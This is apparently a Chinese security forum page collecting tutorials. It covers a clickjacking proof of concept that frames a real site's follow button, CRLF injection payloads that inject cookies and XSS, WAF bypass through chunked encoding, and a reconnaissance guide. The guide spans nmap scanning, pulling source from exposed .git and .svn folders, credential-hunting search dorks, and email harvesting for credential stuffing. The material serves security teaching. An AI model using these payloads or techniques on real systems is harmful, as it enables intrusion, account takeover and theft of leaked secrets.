border:0px; /*边框属性为0*/
height:100%; /*框架高度100%*/
width:100%; /*框架宽度100%*/
Opacity: /*0 透明度(opacity参数表示元素的透明度,取值范围为0~1,默认值为1表示不透明, 取值为0时元素在网页中完全透明显示)*/
filter: alpha(opacity=0); /*兼容:ie低版本不支持opacity的,只支持filter*/
position: absolute; /*定位容器*/
z-index: 1; /*z-index值为负时,该iframe在底层,z-index值最大时在最高层*/
三、漏洞利用与危害:
1.危害:
- 钓鱼攻击
- 结合csrf、xss、复制粘贴攻击等
- 黑客创建一个网页利用iframe包含目标网站(隐藏目标网站,使用户无法察觉到目标网站存在;构造网页,诱骗用户点击特定按钮 )
- 用户在不知情的情况下点击按钮,触发执行恶意网页的命令。
四、社区与某src的点击劫持
1.赛克社区关注处的点击劫持:
首先简单构造一个poc:(此处需要一张美女图片来使更多的表哥路过)
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width:800px;
height:500px;
position: absolute; /*定位容器*/
top: -0px;
left: -0px;
z-index: 1; /*z-index值为负时,该iframe在底层,最大值在最高层*/
-moz-opacity: 0;
opacity: 0.5;
filter: alpha(opacity=0);/*兼容:ie低版本不支持opacity的,只支持filter*/
}
button {
position: absolute;
top: 106px;
left: 680px;
z-index:0;
width: 80px;
height:34px;
opacity: 1;
}
</style>
</head>
<body>
<button>哥哥点我</button>
<img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1573658294531&di=75f38a14d030c96f386a2aa7deaab4bd&imgtype=0&src=http%3A%2F%2Fk.zol-img.com.cn%2Fsjbbs%2F7423%2Fa7422459_s.jpg">
<iframe src="http://zone.secevery.com/people/zake" scrolling="no"></iframe>
</body>
</html>
查看效果:(iframe中opacity: 0.5 ,半透明)可以看到,"关注"处已经覆盖
这时修改为全透明效果:opacity: 0;
当用户点击 “哥哥点我” 时 iframe会立即加载,请求页面http://zone.secevery.com/people/zake
此时zake即会迎来一位新的粉丝
2.某电竞处的点击劫持
透明之后:
感兴趣的可以自行测试。
五、防御方法:
1.服务器端防御
思想是结合浏览器的安全机制进行防御:
1. 最简单的方法:认证用户--加一个图形验证码2. X-FRAME-OPTIONS 机制
Internet Explorer 8.0中提出全新的安全机制:X-FRAME-OPTIONS。该机制有两个选项:DENY 和 SAMEORIGIN。DENY表示任何网页都不能使用 iframe 载入该网页,SAMEORIGIN表示符合同源策略的网页可以使用 iframe载入该网页。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览 网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过 iframe 隐藏目标的网页
2.客户端防御
由于点击劫持攻击的代码在客户端执行,因此客户端有很多机制可以防御此漏洞。
1. 升级浏览器
最新版本的浏览器提供很多防御点击劫持漏洞的安全机制,对于普通的互联网用户,经常更新修复浏览器的安全漏洞,能够最有效的防止恶意攻击。
2. NoScript 扩展
对于Firefox的用户,使用 NoScript 扩展能够在一定程度上检测和阻止点击劫持攻击。利用 NoScript 中 ClearClick 组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面
注:利用框架
便于测试此漏洞,网上有利用框架:
https://github.com/samyk/quickjack
在线:
http://samy.pl/quickjack/quickjack.html
Switch to QuickSlice Mode:
点击I am done!
poc直接拿来用就行。
快速有效进行验证,具体利用框架使用方法见:https://github.com/samyk/quickjack
参考:
https://www.freebuf.com/articles/web/168367.html
https://github.com/samyk/quickjack
https://www.jianshu.com/p/251704d8ff18
https://blog.csdn.net/weixin_40270125/article/details/90107945
CRLF注入
input 发表了文章 • 0 个评论 • 615 次浏览 • 2019-11-08 16:14
CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)的简称,在HTTP规范中,header之间使用一个CRLF来结束,header与body由两个CRLF分隔,浏览器根据这两个CRLF来获取HTTP内容并显示。
CRLF注入漏洞,是因为Web应用没有对用户输入的内容做严格验证,导致攻击者可以输入一些恶意字符。攻击者输入的字段一旦能在返回包中的header处回显,并且在其中插入恶意的CRLF,就能在返回包中注入一些首部字段或报文主体,所以又称为HTTP响应拆分(HTTP Response Splitting),简称HRS。
漏洞检测
一些网站常用location:ip 进行302跳转,在此插入crlf,将修改后的请求包发送给服务器,查看返回包中是否有插入的恶意数据
例如:我们输入:网址http://zone.sevecery.com,302 跳转后正常的返回包应该是这样的
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2018 17:50:22 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://zone.sevecery.com
但是当我们输入:http://zone.sevecery.com%0d%0aSet-Cookie:JSPSESSID:giao
此时响应头就变成了
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2018 17:50:22 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://zone.sevecery.com
Set-Cookie:JSPSESSID:giao
这是因为前面提到的 %0d和%%0a 代表CL和RF ,而HTTP协议规范中行是以crlf结束 ,所以%0a%0d之后的Set-Cookie 会被服务区当作下一行输出在响应头中。
漏洞实例
下面以一个nginx环境下的一个crlf注入实例来说明。
在实际业务场景中经常需要在nginx中配置路径跳转,比如用户访问http://xxx.com 自动跳转到https://xxx.com
此漏洞实例就是修改nginx.conf,在如下图位置添加如下配置,此配置实现了强制跳转的功能,当用户访问nginx服务器时由于此配置的存在会被强制跳转到以https协议访问之前访问的链接。
$uri代表的是解码后的请求路径,对于我们来说是可控的,所以可以抓包在这里插入crlf,而且插入的数据
会通过302跳转返回给用户。
比如当我们正常请求192.168.43.6:8080 返回包如图所示
在请求行中插入 %0d%0a=Set-cookie: Uid=11,理论上响应头中的Location 应当为https://192.168.43.6/%0d%0aSet-cookie:Uid=11,但是由于%0d%0a换行的缘故 ,Set-cookie:Uid=11 被当作新的一行输出,这就造成了会话固定。
如果在请求行中输入%0d%0a%0d%0a<img src=1> 返回包如图
上面提到了 HTTP header与body 由两个CRLF分割,所以<img src=1> 被服务器当作主体内容输出在响应体中,这就造成了反射型xss
修复方式
对用户输入的数据的合法性进行校验,限制用户输入CR和LF,或者在数据返回到响应头之前删除所有的换行符。
参考资料
https://www.freebuf.com/articles/web/149761.html
https://www.cnblogs.com/yuzly/p/11212233.html
https://www.jianshu.com/p/2f2e311e797b
查看全部
CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)的简称,在HTTP规范中,header之间使用一个CRLF来结束,header与body由两个CRLF分隔,浏览器根据这两个CRLF来获取HTTP内容并显示。
CRLF注入漏洞,是因为Web应用没有对用户输入的内容做严格验证,导致攻击者可以输入一些恶意字符。攻击者输入的字段一旦能在返回包中的header处回显,并且在其中插入恶意的CRLF,就能在返回包中注入一些首部字段或报文主体,所以又称为HTTP响应拆分(HTTP Response Splitting),简称HRS。
漏洞检测
一些网站常用location:ip 进行302跳转,在此插入crlf,将修改后的请求包发送给服务器,查看返回包中是否有插入的恶意数据
例如:我们输入:网址http://zone.sevecery.com,302 跳转后正常的返回包应该是这样的
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2018 17:50:22 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://zone.sevecery.com
但是当我们输入:http://zone.sevecery.com%0d%0aSet-Cookie:JSPSESSID:giao
此时响应头就变成了
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2018 17:50:22 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://zone.sevecery.com
Set-Cookie:JSPSESSID:giao
这是因为前面提到的 %0d和%%0a 代表CL和RF ,而HTTP协议规范中行是以crlf结束 ,所以%0a%0d之后的Set-Cookie 会被服务区当作下一行输出在响应头中。
漏洞实例
下面以一个nginx环境下的一个crlf注入实例来说明。
在实际业务场景中经常需要在nginx中配置路径跳转,比如用户访问http://xxx.com 自动跳转到https://xxx.com
此漏洞实例就是修改nginx.conf,在如下图位置添加如下配置,此配置实现了强制跳转的功能,当用户访问nginx服务器时由于此配置的存在会被强制跳转到以https协议访问之前访问的链接。
$uri代表的是解码后的请求路径,对于我们来说是可控的,所以可以抓包在这里插入crlf,而且插入的数据
会通过302跳转返回给用户。
比如当我们正常请求192.168.43.6:8080 返回包如图所示
在请求行中插入 %0d%0a=Set-cookie: Uid=11,理论上响应头中的Location 应当为https://192.168.43.6/%0d%0aSet-cookie:Uid=11,但是由于%0d%0a换行的缘故 ,Set-cookie:Uid=11 被当作新的一行输出,这就造成了会话固定。
如果在请求行中输入%0d%0a%0d%0a<img src=1> 返回包如图
上面提到了 HTTP header与body 由两个CRLF分割,所以<img src=1> 被服务器当作主体内容输出在响应体中,这就造成了反射型xss
修复方式
对用户输入的数据的合法性进行校验,限制用户输入CR和LF,或者在数据返回到响应头之前删除所有的换行符。
参考资料
https://www.freebuf.com/articles/web/149761.html
https://www.cnblogs.com/yuzly/p/11212233.html
https://www.jianshu.com/p/2f2e311e797b
基于http协议的绕waf技巧
ypk 发表了文章 • 0 个评论 • 446 次浏览 • 2019-10-23 11:53
一、协议未覆盖
常见的两种协议:
(1)ContentType:multipart/form-data
使用表单上传文件时,必须指定表单的 enctype属性值为 multipart/form-data. 请求体被分割成多部分,每部分使用 –boundary(边界)分割
(2)ContentType:application/x-www-form-urlencoded
是最常用的一种请求编码方式,支持GET/POST等方法,所有数据变成键值对的形式 key1=value1&key2=value2的形式,并且特殊字符需要转义成utf-8编号,如空格会变成 %20
Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过
boundary(边界)分割末尾用--结束 二、分块传输数据的分块编码只适用于POST提交方式
keep-alive/close:当服务器端收到Connection值为keep-alive的数据包时,会先将它存储在一个缓冲区中,当收到Connection值为close的数据包时,即表明这次数据传输完成当服务器端收到 Connection值为close的请求消息后,就会把之前的Content-Length加起来,即是我们请求的数据的总大小了Transfer-Encoding: chunked:进行Chunked编码传输,表示输出的内容长度不能确定,普通的静态页面、图片之类的基本上都用不到这个数据分块:头部内容指定下一段正文的字符总数(十六进制的数字)两部分之间用回车换行(CRLF)隔开由一个标明长度为0的chunk标示结束,最后加两个回车表示实体结束
三、分块传输+协议未覆盖绕过
先使用协议未覆盖,在使用分块传输
总结:
把GET方法改为POST方法时
1.判断服务器是否接受POST请求,参数是否有效
2.服务器是否拒绝在没有定义 Content-Length 头的情况下接受请求 查看全部
一、协议未覆盖
- 常见的两种协议:
(1)ContentType:multipart/form-data
使用表单上传文件时,必须指定表单的 enctype属性值为 multipart/form-data. 请求体被分割成多部分,每部分使用 –boundary(边界)分割
(2)ContentType:application/x-www-form-urlencoded
是最常用的一种请求编码方式,支持GET/POST等方法,所有数据变成键值对的形式 key1=value1&key2=value2的形式,并且特殊字符需要转义成utf-8编号,如空格会变成 %20
Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过
- boundary(边界)分割
- 末尾用--结束
- 当服务器端收到Connection值为keep-alive的数据包时,会先将它存储在一个缓冲区中,当收到Connection值为close的数据包时,即表明这次数据传输完成
- 当服务器端收到 Connection值为close的请求消息后,就会把之前的Content-Length加起来,即是我们请求的数据的总大小了
- 进行Chunked编码传输,表示输出的内容长度不能确定,普通的静态页面、图片之类的基本上都用不到这个
- 头部内容指定下一段正文的字符总数(十六进制的数字)
- 两部分之间用回车换行(CRLF)隔开
- 由一个标明长度为0的chunk标示结束,最后加两个回车表示实体结束
三、分块传输+协议未覆盖绕过
先使用协议未覆盖,在使用分块传输
总结:
把GET方法改为POST方法时
1.判断服务器是否接受POST请求,参数是否有效
2.服务器是否拒绝在没有定义 Content-Length 头的情况下接受请求
渗透前的目标信息收集小结
flaray 发表了文章 • 2 个评论 • 2212 次浏览 • 2019-07-29 17:01
信息收集分类:
1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。
搜集什么信息
1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)
信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:
首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C段查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统
0x00:IP发现
1.IP反查域名(查询旁站)如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。
站点和工具:http://www.ip-adress.com/reverse_iphttp://www.7c.com/https://dns.aizhan.com/https://tools.ipip.net/ipdomain.phphttp://www.webscan.cc/http://dns.bugscaner.com/ 2.域名查询IP知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。
站点和工具:http://www.webscan.cc/http://www.yunsee.cn/https://www.whatweb.net/http://ip.tool.chinaz.com/http://dns.bugscaner.com/注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)通过zmpap全网爆破查询真实IP(可靠)扫描网站测试文件分站域名(根据收集分站查看产生交互最多的站)国外访问(App Synthetic Monitor)查询域名解析记录(NETCRAFT)(查询域名历史IP)如果网站有 App,抓 App 的请求绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch) 3.IP WHOIS查询IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。
http://tool.chinaz.com/ipwhoishttp://www.guoxue.com/whois/index.phphttp://whois.bugscaner.com/https://www.whois.com/whoishttps://www.cxw.com/ 4.C端存活主机探测
https://phpinfo.me/bing.phphttp://cduan.cc/c/http://www.webscan.cc/https://github.com/se55i0n/Cwebscanner也可以使用Nmap扫描:Nmap: nmap -sP www.XXX.com/24 || nmap -sP 192.168.1.*5.C段常见端口探测(1)最笨的方法:C段导入到文件,nmap扫描。-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。(2)其他工具神器masscan: https://github.com/robertdavidgraham/masscanMasscan安装和使用:http://zone.secevery.com/article/1098 0x01:域名发现1.子域名发现开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。(1)DNS枚举(根据字典爆破)域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。
DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的(2)自身泄露可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。 (3)搜索引擎使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。
(4)第三方查询--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser
脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。(5)crossdomain.xml利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:
(6)Google HTTPS证书信息Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。
使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:https://crt.sh/https://transparencyreport.google.com/https/certificateshttps://censys.io/可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:
使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 (7)自治系统编号(ASN)使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi
也可以使用域名查询ASN号码:https://bgp.he.net/
找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX
(8)利用域传送漏洞因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。http://tool.chinaz.com/dns/https://tool.lu/dns/
域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com nsdns24.hichina.com.dns23.hichina.com.得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:
(9) FDNS(forward DNS,DNS转发)FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。https://registry.opendata.aws/rapid7-fdns-any/https://github.com/rapid7/sonar/wiki/Forward-DNS//GitHub说明# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。
(10)zone walking(NSEC)区域行走DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。2.关联域名发现(1)注册人和邮箱反查域名先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。
https://whois.chinaz.com/http://whois.4.cn/reversehttps://whois.aizhan.com/reverse-whois/http://www.langongju.com/domain/reverse缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。(2)相似域名查询根据目标公司名称来查找可能是目标资产的相似域名。
https://www.whois.net/https://typoku.com.cutestat.com/https://github.com/elceef/dnstwist//相似、钓鱼域名检测。 0X02:端口信息探测1、快速判断端口是否开启:a、http://coolaf.com/tool/port使用方式: 直接输入要测试的域名,然后指定要测试的端口。 不过每次只能指定50个端口。
b、https://tool.lu/portscan/index.html 跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。
c、http://www.matools.com/port 没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 2、对服务器的信息进行详细的收集:主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap 192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134 服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: http://zone.secevery.com/article/2450X03:网站信息收集1、指纹识别代码框架识别、中间件、CMS识别: https://www.whatweb.net/ 能得到的目标网站的 IP、中间件类型以及版本、语言环境(带版本)
http://www.yunsee.cn/finger.html 只能判断出一种语言环境,代码框架、中间件的版本信息。
http://whatweb.bugscaner.com/look/ 代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0 除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。 信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。
2、waf识别: wafw00f 一个识别waf的很成熟的工具,使用方式也很简单。 github项目地址:https://github.com/EnableSecurity/wafw00f kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。
nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。
2、敏感路径探测1、Git源码泄露 成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。 漏洞检测: 批量寻找:".git" intitle:"index of"
对单个网站进行检测: a、githack,github上的地址:https://github.com/lijiejie/GitHack 使用方法:python GitHack.py http://xxx.com/.git/ 这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在 windows10环境下使用的时候,会报Error 10060和Error 183
手工验证的方法,如下。在kali linux下, wget --mirror --include-directories=/.git http://www.xxx.com/.git cd www.xxx.com www.xxx.com文件夹是自动创建的。 git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961 2、SVN源码泄露 介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。 产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。 批量寻找:".svn" intitle:"index of" 利用工具及过程: 工具:svnExploit github地址:https://github.com/admintony/svnExploit 利用过程: a、判断.svn的版本信息
前者版本小于1.7,后者版本大于1.7 版本小于1.7的: python2 SvnExploit.py -u https://xxx.com/.svn 查看信息,把泄露的文件列出来。 python2 SvnExploit.py -u https://xxx.com/.svn --dump 将网站的源码下载下来。
版本大于1.7的, 1、列出所有的文件。 2、把所有的文件dump下来。
后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 3、网站文件备份 直接扫目录就可以得到,工具:7kbscan、御剑都可以。
0X04:互联网信息收集(1)google和GitHub使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。
还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。intext:后台登录查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点
intitle:管理登录 查找网站标题中存在管理登录的页面
filetype: pdf查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件inurl: php?id=查找url中带有php?id=的网站filetype:php site:secevery.com查找secevery中的PHP文件
(2)shodan搜索引擎shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法hostname: 搜索指定的主机或域名,例如 hostname:”google”port: 搜索指定的端口或服务,例如 port:”21”country: 搜索指定的国家,例如 country:”CN”city: 搜索指定的城市,例如 city:”NanYang”org: 搜索指定的组织或公司,例如 org:”google”isp: 搜索指定的ISP供应商,例如 isp:”China Telecom”product: 搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”version: 搜索指定的软件版本,例如 version:”1.6.2”geo: 搜索指定的地理位置,例如 geo:”31.8639, 117.2808”before/after: 搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”net: 搜索指定的IP地址或子网,例如 net:”210.45.240.0/24” (3)censys搜索引擎censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/
搜索语法默认情况下censys支持全文检索。23.0.0.0/8 or 8.8.8.0/24 可以使用and or not80.http.get.status_code: 200 指定状态80.http.get.status_code:[200 TO 300] 200-300之间的状态码location.country_code: DE 国家protocols: (“23/telnet” or “21/ftp”) 协议tags: scada 标签80.http.get.headers.server:nginx 服务器类型版本autonomous_system.description: University 系统描述 (4)FoFa搜索引擎FoFa搜索引擎偏向资产搜索。http://fofa.so
搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索title="abc" 从标题中搜索abc。header="abc" 从http头中搜索abc。body="abc" 从html正文中搜索abc。domain="secevery.com" 搜索根域名带有secevery.com的网站。host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。port="443" 查找对应443端口的资产。ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。city="Beijing" 搜索指定城市的资产。region="Henan" 搜索指定行政区的资产。country="CN" 搜索指定国家(编码)的资产。cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。type=service 搜索所有协议资产,支持subdomain和service两种。os=windows 搜索Windows资产。例: 搜索Windows资产server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索高级搜索:可以使用括号 和 && || !=等符号,如title="powered by" && title!=discuztitle!="powered by" && body=discuz( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"(5)钟馗之眼(Zoomeye) 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/
搜索语法app:nginx 组件名ver:1.0 版本os:windows 操作系统country:”China” 国家city:”hangzhou” 城市port:80 端口hostname:google 主机名site:thief.one 网站域名desc:nmask 描述keywords:nmask’blog 关键词service:ftp 服务类型ip:8.8.8.8 ip地址cidr:8.8.8.8/24 ip地址段(6)邮箱收集
--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。
--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。
---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
